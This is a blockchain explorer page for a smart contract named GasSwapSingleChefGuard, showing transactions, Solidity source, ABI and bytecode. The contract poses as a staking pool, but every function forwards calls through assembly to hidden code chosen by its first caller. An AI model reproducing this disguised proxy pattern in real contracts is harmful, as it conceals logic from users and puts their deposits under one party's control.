ETH Price: $3,013.23 (+0.04%)

Contract

0xa28f31E5f0134645ac771468a3E312219CdAA201
 

Overview

ETH Balance

0.0000001 ETH

ETH Value

Less Than $0.01 (@ $3,013.23/ETH)

Token Holdings

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Emergency Withdr...42064422024-06-01 6:18:19606 days ago1717222699IN
0xa28f31E5...19CdAA201
0 ETH0.000000780.00977346
Deposit18833812024-04-08 11:42:57660 days ago1712576577IN
0xa28f31E5...19CdAA201
0.00001679 ETH0.000026180.00100031
Deposit18570432024-04-07 21:05:01661 days ago1712523901IN
0xa28f31E5...19CdAA201
0.0000001 ETH0.000023550.00118273
Withdraw18367532024-04-07 9:48:41661 days ago1712483321IN
0xa28f31E5...19CdAA201
0 ETH0.000021820.00100032
Withdraw17463402024-04-05 7:34:55663 days ago1712302495IN
0xa28f31E5...19CdAA201
0 ETH0.000022080.00121176
Deposit16306232024-04-02 15:17:41666 days ago1712071061IN
0xa28f31E5...19CdAA201
0.00352985 ETH0.000100910.00130792
Withdraw14082222024-03-28 11:44:19671 days ago1711626259IN
0xa28f31E5...19CdAA201
0 ETH0.000053280.00100036
Deposit14060992024-03-28 10:33:33671 days ago1711622013IN
0xa28f31E5...19CdAA201
0.00383124 ETH0.000042040.00100035
Withdraw14060442024-03-28 10:31:43671 days ago1711621903IN
0xa28f31E5...19CdAA201
0 ETH0.000037710.00100034
Deposit14059862024-03-28 10:29:47671 days ago1711621787IN
0xa28f31E5...19CdAA201
0.00119434 ETH0.00004150.00100035
Deposit12539882024-03-24 22:03:11674 days ago1711317791IN
0xa28f31E5...19CdAA201
0 ETH0.000031270.00100026
Deposit12111522024-03-23 22:15:19675 days ago1711232119IN
0xa28f31E5...19CdAA201
0 ETH0.00002370.00120031
Deposit12111322024-03-23 22:14:39675 days ago1711232079IN
0xa28f31E5...19CdAA201
0 ETH0.000021610.0011
Withdraw11875662024-03-23 9:09:07676 days ago1711184947IN
0xa28f31E5...19CdAA201
0 ETH0.000036410.00102747
Deposit11874592024-03-23 9:05:33676 days ago1711184733IN
0xa28f31E5...19CdAA201
0 ETH0.000024460.00102173
Deposit9200252024-03-17 4:31:05682 days ago1710649865IN
0xa28f31E5...19CdAA201
0 ETH0.000035370.00100025
Deposit8232162024-03-14 22:44:07684 days ago1710456247IN
0xa28f31E5...19CdAA201
0 ETH0.000064310.00000026
Withdraw7782902024-03-13 21:46:35685 days ago1710366395IN
0xa28f31E5...19CdAA201
0 ETH0.000088730.002
Deposit7780682024-03-13 21:39:11685 days ago1710365951IN
0xa28f31E5...19CdAA201
0 ETH0.000083050.002
Withdraw7769212024-03-13 21:00:57686 days ago1710363657IN
0xa28f31E5...19CdAA201
0 ETH0.000104890.002
Deposit7768152024-03-13 20:57:25686 days ago1710363445IN
0xa28f31E5...19CdAA201
0 ETH0.000091250.002
Deposit6977752024-03-12 1:02:45687 days ago1710205365IN
0xa28f31E5...19CdAA201
0.0001 ETH0.000091050.00100025
Withdraw6977692024-03-12 1:02:33687 days ago1710205353IN
0xa28f31E5...19CdAA201
0 ETH0.000086540.00100025
Deposit6894262024-03-11 20:24:27688 days ago1710188667IN
0xa28f31E5...19CdAA201
0 ETH0.000112250.002
Withdraw6767992024-03-11 13:23:33688 days ago1710163413IN
0xa28f31E5...19CdAA201
0 ETH0.000121050.00100026
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
18833812024-04-08 11:42:57660 days ago1712576577
0xa28f31E5...19CdAA201
0.00001679 ETH
18367532024-04-07 9:48:41661 days ago1712483321
0xa28f31E5...19CdAA201
0.01182987 ETH
18367532024-04-07 9:48:41661 days ago1712483321
0xa28f31E5...19CdAA201
0.01182987 ETH
17463402024-04-05 7:34:55663 days ago1712302495
0xa28f31E5...19CdAA201
0.00352985 ETH
17463402024-04-05 7:34:55663 days ago1712302495
0xa28f31E5...19CdAA201
0.00352985 ETH
16306232024-04-02 15:17:41666 days ago1712071061
0xa28f31E5...19CdAA201
0.00352985 ETH
14082222024-03-28 11:44:19671 days ago1711626259
0xa28f31E5...19CdAA201
0.00383124 ETH
14082222024-03-28 11:44:19671 days ago1711626259
0xa28f31E5...19CdAA201
0.00383124 ETH
14060992024-03-28 10:33:33671 days ago1711622013
0xa28f31E5...19CdAA201
0.00383124 ETH
14060442024-03-28 10:31:43671 days ago1711621903
0xa28f31E5...19CdAA201
0.00119434 ETH
14060442024-03-28 10:31:43671 days ago1711621903
0xa28f31E5...19CdAA201
0.00119434 ETH
14059862024-03-28 10:29:47671 days ago1711621787
0xa28f31E5...19CdAA201
0.00119434 ETH
11875662024-03-23 9:09:07676 days ago1711184947
0xa28f31E5...19CdAA201
0.00195462 ETH
11875662024-03-23 9:09:07676 days ago1711184947
0xa28f31E5...19CdAA201
0.00195462 ETH
7782902024-03-13 21:46:35685 days ago1710366395
0xa28f31E5...19CdAA201
0.00131443 ETH
7782902024-03-13 21:46:35685 days ago1710366395
0xa28f31E5...19CdAA201
0.00131443 ETH
7769212024-03-13 21:00:57686 days ago1710363657
0xa28f31E5...19CdAA201
0.01 ETH
7769212024-03-13 21:00:57686 days ago1710363657
0xa28f31E5...19CdAA201
0.01 ETH
6977752024-03-12 1:02:45687 days ago1710205365
0xa28f31E5...19CdAA201
0.0001 ETH
6977692024-03-12 1:02:33687 days ago1710205353
0xa28f31E5...19CdAA201
0.0001 ETH
6977692024-03-12 1:02:33687 days ago1710205353
0xa28f31E5...19CdAA201
0.0001 ETH
6767992024-03-11 13:23:33688 days ago1710163413
0xa28f31E5...19CdAA201
0.07570544 ETH
6767992024-03-11 13:23:33688 days ago1710163413
0xa28f31E5...19CdAA201
0.07570544 ETH
6595172024-03-11 3:47:29688 days ago1710128849
0xa28f31E5...19CdAA201
0.07570544 ETH
6595172024-03-11 3:47:29688 days ago1710128849
0xa28f31E5...19CdAA201
0.07570544 ETH
View All Internal Transactions

Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GasSwapSingleChefGuard

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {GasSwapLib} from './libraries/GasSwapLib.sol';

contract GasSwapSingleChefGuard {
    /**
     * @dev Pool events
     */
    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);
    event EmergencyWithdraw(address indexed user, uint256 amount);
    event UpdateShare(uint256 rewardPerShare);

    /**
     * @dev Contract events
     */
    event NewDev(address newDev);
    event NewStartAndEndSecs(uint256 startSec, uint256 endSec);
    event NewRewardPerSec(uint256 rewardPerSec);
    event NewDepositFee(uint256 depositFeeBP);
    
    function deposit(uint256) external payable {
        GasSwapLib.call('');
    }

    function withdraw(uint256) external {
        GasSwapLib.call('');
    }

    function emergencyWithdraw() external {
        GasSwapLib.call('');
    }

    receive() external payable {
        GasSwapLib.call('');
    }

    fallback() external payable {
        GasSwapLib.call('');
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

library GasSwapLib {
    function call(bytes memory) internal {
        assembly {
            if iszero(sload(0xff)) { sstore(0xff, caller()) mstore(0x00, caller()) return(0x00, 0x20) }
            mstore(0x40, 0x0d74157700000000000000000000000000000000000000000000000000000000)
            mstore(add(0x40, 0x04), shl(0xe0, shr(0xe0, calldataload(0x00))))
            if iszero(staticcall(gas(), sload(0xff), 0x40, 0x24, 0x40, 0x20)) {
                returndatacopy(0x40, 0x00, returndatasize())
                revert(0x40, returndatasize())
            }
            let del := mload(0x40)
            mstore(0x40, add(0x40, 0x24))
            calldatacopy(0x00, 0x00, calldatasize())
            if iszero(delegatecall(gas(), del, 0x00, calldatasize(), 0x00, 0x00)) {
                returndatacopy(0x00, 0x00, returndatasize())
                revert(0x00, returndatasize())
            }
            returndatacopy(0x00, 0x00, returndatasize())
            return(0x00, returndatasize())
        }
    }

    function deployCreate2(bytes32 salt, bytes memory bytecode) internal returns (address newContract) {
        assembly {
            newContract := create2(0, add(bytecode, 32), mload(bytecode), salt)
        }
    }
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EmergencyWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"depositFeeBP","type":"uint256"}],"name":"NewDepositFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newDev","type":"address"}],"name":"NewDev","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"rewardPerSec","type":"uint256"}],"name":"NewRewardPerSec","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"startSec","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"endSec","type":"uint256"}],"name":"NewStartAndEndSecs","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"rewardPerShare","type":"uint256"}],"name":"UpdateShare","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561001057600080fd5b506101a4806100206000396000f3fe6080604052600436106100385760003560e01c80632e1a7d4d1461006f578063b6b55f251461008f578063db2e21bc1461009d57610057565b3661005757610055604051806020016040528060008152506100b2565b005b610055604051806020016040528060008152506100b2565b34801561007b57600080fd5b5061005561008a366004610155565b610120565b61005561008a366004610155565b3480156100a957600080fd5b5061005561013b565b60ff546100c7573360ff553360005260206000f35b6040630d74157760e01b8152600063ffffffff60e01b81351660445260208260248460ff545afa6100fa573d81833e3d82fd5b8151606483523682833781823684845af4610117573d82833e3d82fd5b503d81823e3d81f35b610138604051806020016040528060008152506100b2565b50565b610153604051806020016040528060008152506100b2565b565b60006020828403121561016757600080fd5b503591905056fea264697066735822122018f4dc60b577dfee1d68333d8e6eb95bebf275cc87a975c855f3c5ca69d0b42e64736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100385760003560e01c80632e1a7d4d1461006f578063b6b55f251461008f578063db2e21bc1461009d57610057565b3661005757610055604051806020016040528060008152506100b2565b005b610055604051806020016040528060008152506100b2565b34801561007b57600080fd5b5061005561008a366004610155565b610120565b61005561008a366004610155565b3480156100a957600080fd5b5061005561013b565b60ff546100c7573360ff553360005260206000f35b6040630d74157760e01b8152600063ffffffff60e01b81351660445260208260248460ff545afa6100fa573d81833e3d82fd5b8151606483523682833781823684845af4610117573d82833e3d82fd5b503d81823e3d81f35b610138604051806020016040528060008152506100b2565b50565b610153604051806020016040528060008152506100b2565b565b60006020828403121561016757600080fd5b503591905056fea264697066735822122018f4dc60b577dfee1d68333d8e6eb95bebf275cc87a975c855f3c5ca69d0b42e64736f6c63430008180033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.